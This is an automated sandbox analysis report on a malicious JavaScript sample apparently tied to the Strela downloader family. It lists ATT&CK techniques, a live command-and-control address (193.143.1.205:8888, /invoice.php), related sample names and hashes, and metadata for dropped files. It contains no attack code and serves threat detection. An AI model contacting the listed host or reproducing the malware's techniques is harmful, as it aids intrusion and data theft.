Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1283220404157902514.js	3%	Virustotal		Browse
1283220404157902514.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tm.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3334478267.000001A13D600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2100608454.000001A13D390000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2099589475.000002283DAAB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2099589475.000002283DACB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2099589475.000002283DA78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tm.	net.exe, 00000007.00000002.2099589475.000002283DA78000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587848
Start date and time:	2025-01-10 18:30:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1283220404157902514.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/61@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 95.101.148.135, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 23.57.90.73, 23.57.90.78, 23.57.90.68, 23.57.90.79, 23.57.90.74, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:31:35	API Interceptor	21x Sleep call for process: powershell.exe modified
12:31:38	API Interceptor	1x Sleep call for process: net.exe modified
12:31:38	API Interceptor	2x Sleep call for process: svchost.exe modified
12:31:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307255369678019
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugk:gJjJGtpTq2yv1AuNZRY3diu8iBVqFO
MD5:	CCED2994DEE7AD1833E4E8677686A0E2
SHA1:	DBC90B5EE9A4CCB4ECC7E50CE7885A37E3D1677E
SHA-256:	B7DCFD89614C305C0E9C5173DB0651EB7FDD543F0135F3242F2F339D61DACD2F
SHA-512:	C71B7168DE48B7FB7DAF0DCA88EB35B94DEC601259E20AB3B96C33A901D4D7270A3E95A3AFB103ACC78C76865E99F1B180025EB503DF982CC096E2F3F15B452F
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x387c0c26, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585696837978878
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	62F45B2030844A66FED6835687DB3F8C
SHA1:	66A44681DB71392E4C0DC6318B5179A8084BE67E
SHA-256:	4F06CB93656F688EAC4D268653B642633B594F7DD858B1D6BAC7DFD6C063E87D
SHA-512:	D00678FF565EB3D2703F1F2A8D56E4FBEADF9FBC097B9111C52C4DA27D3462FDDF50F81AD06C95A7287D12DB509CB8FFBA549B9337D1CD6B5C2F143F550CD567
Malicious:	false
Preview:	8\|.&... ...............X\...;...{......................0.z..........{..'....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................<c..'....}....................A.'....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08051211097813286
Encrypted:	false
SSDEEP:	3:g2W8Ye1f8QkGuAJkhvekl1dq8PAllrekGltll/SPj:zdz1fGrxl+8PAJe3l
MD5:	CBD1008AB399FF36A357D6CED15B00AF
SHA1:	05BC5F3BA32F3D407D6A324640E4B2E64C849487
SHA-256:	1A3A12C96E1BF3F08AD35B18BAC93EBC0C247B23C43556547CC3DAB4B6C45B61
SHA-512:	25783F1E6BBEAF8B7D88CAF90D9F8BCF84B71DD36C4E4B8066F5BE787C3F0B44191B434B9E6545F08C2185C934DFF9BBE43397080AD68E22316F13A324C3044F
Malicious:	false
Preview:	..k......................................;...{..'....}.......{...............{.......{...XL......{....................A.'....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.164756428416934
Encrypted:	false
SSDEEP:	6:iO4OzPq2P92nKuAl9OmbnIFUtSOLhZmwsOL7kwO92nKuAl9OmbjLJ:79zPv4HAahFUtft/hf5LHAaSJ
MD5:	33FE0F636D741D877A7412A0F037B0B8
SHA1:	07D3F836BCAE0C62A7330B31EEAEB7F74C36EABF
SHA-256:	8B38749CEF890B719A2CBAB02352639DE0175C75785D3FBF92EBEDF048B0A3FB
SHA-512:	50FB8A22DA7D0A9B7B558DE29F6417E5FC36DD04545651032653400AD2916EBF7A6470041547E6F1448E27AF2BF7C4EE61B7AB119FCDCF7B0FF6878D8DDF6B5F
Malicious:	false
Preview:	2025/01/10-12:31:38.622 1a70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:31:38.638 1a70 Recovering log #3.2025/01/10-12:31:38.638 1a70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.164756428416934
Encrypted:	false
SSDEEP:	6:iO4OzPq2P92nKuAl9OmbnIFUtSOLhZmwsOL7kwO92nKuAl9OmbjLJ:79zPv4HAahFUtft/hf5LHAaSJ
MD5:	33FE0F636D741D877A7412A0F037B0B8
SHA1:	07D3F836BCAE0C62A7330B31EEAEB7F74C36EABF
SHA-256:	8B38749CEF890B719A2CBAB02352639DE0175C75785D3FBF92EBEDF048B0A3FB
SHA-512:	50FB8A22DA7D0A9B7B558DE29F6417E5FC36DD04545651032653400AD2916EBF7A6470041547E6F1448E27AF2BF7C4EE61B7AB119FCDCF7B0FF6878D8DDF6B5F
Malicious:	false
Preview:	2025/01/10-12:31:38.622 1a70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:31:38.638 1a70 Recovering log #3.2025/01/10-12:31:38.638 1a70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.180803558655603
Encrypted:	false
SSDEEP:	6:iO4OuDdSQ+q2P92nKuAl9Ombzo2jMGIFUtSO9SgZmwsOb/QVkwO92nKuAl9Ombzz:79uBSVv4HAa8uFUtfwg/hjI5LHAa8RJ
MD5:	4092F685C48ED010C198AF6D0CDF1EE9
SHA1:	4EAF52541EB2E3ECB00E96EF212CD3C21DC9CEB5
SHA-256:	1F308882A001420081F3CF8614683A15B624305B9EEDC3C164E7BAA3A2767435
SHA-512:	A6EA18D7A2303BCA5101D29A43FFDBE27B53695E3BBDAB9EBE14003A264796C4A44EB288F4F097F705C2D01AE5E87D52D2C33737613AEDBFB1FA21C2F886ACA1
Malicious:	false
Preview:	2025/01/10-12:31:38.689 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:31:38.691 1b98 Recovering log #3.2025/01/10-12:31:38.692 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.180803558655603
Encrypted:	false
SSDEEP:	6:iO4OuDdSQ+q2P92nKuAl9Ombzo2jMGIFUtSO9SgZmwsOb/QVkwO92nKuAl9Ombzz:79uBSVv4HAa8uFUtfwg/hjI5LHAa8RJ
MD5:	4092F685C48ED010C198AF6D0CDF1EE9
SHA1:	4EAF52541EB2E3ECB00E96EF212CD3C21DC9CEB5
SHA-256:	1F308882A001420081F3CF8614683A15B624305B9EEDC3C164E7BAA3A2767435
SHA-512:	A6EA18D7A2303BCA5101D29A43FFDBE27B53695E3BBDAB9EBE14003A264796C4A44EB288F4F097F705C2D01AE5E87D52D2C33737613AEDBFB1FA21C2F886ACA1
Malicious:	false
Preview:	2025/01/10-12:31:38.689 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:31:38.691 1b98 Recovering log #3.2025/01/10-12:31:38.692 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4fa5da2e-6ff7-41fd-a2f7-ebc27bb5c6eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.052846203773684
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2H5caq3QYiubxnP7E4T3OF+:Y2sRdsUdMHA3QYhbxP7nbI+
MD5:	976D0CF3C4AFB96C78A718D0C105D164
SHA1:	D0FD3EEA7F10D67F7B73737968E3AD5AD357B131
SHA-256:	7AF6842A37ACDF41C0F3576F9F61E0D9018BF37BC600C81D7F596A2554890C81
SHA-512:	394B30E515A0BE9B2E29243981CFF6157ADF94E6AD785253121A9FDF7BA901590C619154E50659996AE68967271B1CBB502CB09E2550C99D184D7455C9D3D592
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090305347205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":344130},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.052846203773684
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYsBdOg2H5caq3QYiubxnP7E4T3OF+:Y2sRdsUdMHA3QYhbxP7nbI+
MD5:	976D0CF3C4AFB96C78A718D0C105D164
SHA1:	D0FD3EEA7F10D67F7B73737968E3AD5AD357B131
SHA-256:	7AF6842A37ACDF41C0F3576F9F61E0D9018BF37BC600C81D7F596A2554890C81
SHA-512:	394B30E515A0BE9B2E29243981CFF6157ADF94E6AD785253121A9FDF7BA901590C619154E50659996AE68967271B1CBB502CB09E2550C99D184D7455C9D3D592
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090305347205","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":344130},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.238658184876714
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUUighUV5:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLK
MD5:	A6A4EF97D95611F710A256017D029B49
SHA1:	7238840E38C60DA0B892F6A8BBF41AE3F061BF06
SHA-256:	8A2092578442F5CF5DDCF5ADD415428FBA36D0C8829CB2EADB476785117F105B
SHA-512:	46FEFF18317810AEC3DE5132CE4BB253C7BA894A78D836328BD1C0FDDBB728AC52CB03782C2736D260EA9BACAEF0CC7E2215D0B88E16B66557D743D8D5042D62
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.15334432258918
Encrypted:	false
SSDEEP:	6:iO4Ou/Q+q2P92nKuAl9OmbzNMxIFUtSOEUfgZmwsOEUfQVkwO92nKuAl9OmbzNMT:790Vv4HAa8jFUtfdg/hdI5LHAa84J
MD5:	E7D103FB0711815F497AD353A347F4CF
SHA1:	486D9FDAEEE0ED4CC02900AA9680B91DF9F332EF
SHA-256:	09CC001A35AE2ACA7B1E00BE9520009D6E088F8494294665A523DBEB66F5B07D
SHA-512:	2D322D4DD8E95E2677F70109DF2628B75B8A9932523EAF61C87AAA18BD0A2C71F13B1600AFB41D2E904BD9B0E9A899FE3AE87F83F37C887405A577F4FF68EC97
Malicious:	false
Preview:	2025/01/10-12:31:38.808 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:31:38.809 1b98 Recovering log #3.2025/01/10-12:31:38.809 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.15334432258918
Encrypted:	false
SSDEEP:	6:iO4Ou/Q+q2P92nKuAl9OmbzNMxIFUtSOEUfgZmwsOEUfQVkwO92nKuAl9OmbzNMT:790Vv4HAa8jFUtfdg/hdI5LHAa84J
MD5:	E7D103FB0711815F497AD353A347F4CF
SHA1:	486D9FDAEEE0ED4CC02900AA9680B91DF9F332EF
SHA-256:	09CC001A35AE2ACA7B1E00BE9520009D6E088F8494294665A523DBEB66F5B07D
SHA-512:	2D322D4DD8E95E2677F70109DF2628B75B8A9932523EAF61C87AAA18BD0A2C71F13B1600AFB41D2E904BD9B0E9A899FE3AE87F83F37C887405A577F4FF68EC97
Malicious:	false
Preview:	2025/01/10-12:31:38.808 1b98 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:31:38.809 1b98 Recovering log #3.2025/01/10-12:31:38.809 1b98 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 3, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.293289213851439
Encrypted:	false
SSDEEP:	192:/edRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:/eZci5H5FY+EUUUTTcHqFzqFP
MD5:	1F13081F6BF8290AE89415B8889CEDFC
SHA1:	7893199D477FFAF6AE3885D3E71A53E8198A52E3
SHA-256:	98450130A885ABF5808DC06A8815943C41834CA00EB53BF417222E4FDF96182D
SHA-512:	00CA8BC4B3D9B5E10120106A05357FCF714AE95F82E347DCF553A11449882CB00D61CA5CFBA8F23C636300283A8CECE11F557C6A44957B56733A33A6081AC18F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2035527995050637
Encrypted:	false
SSDEEP:	24:7+tmMEWewKefqLazkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfd:7MnUefqemFTIF3XmHjBoGGR+jMz+LhV
MD5:	A6B6610124C8C761924B9EC8C5B564DF
SHA1:	3CC047EEFCC90A9014494A529D23B05EB952E73A
SHA-256:	31AC452739273AFFC42137119515BCB85CDC348A3D17F4450A2417F4B66DBE20
SHA-512:	E1652F9A955F0F3C5C6EAA955969C1181FB202307E27BFE5D19F569DEB11A0C2A559273D74CEF90AB5E8D935C0BFB5C4D22D103425ED3A8D8C6F0B8E025E38F7
Malicious:	false
Preview:	.... .c......:.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
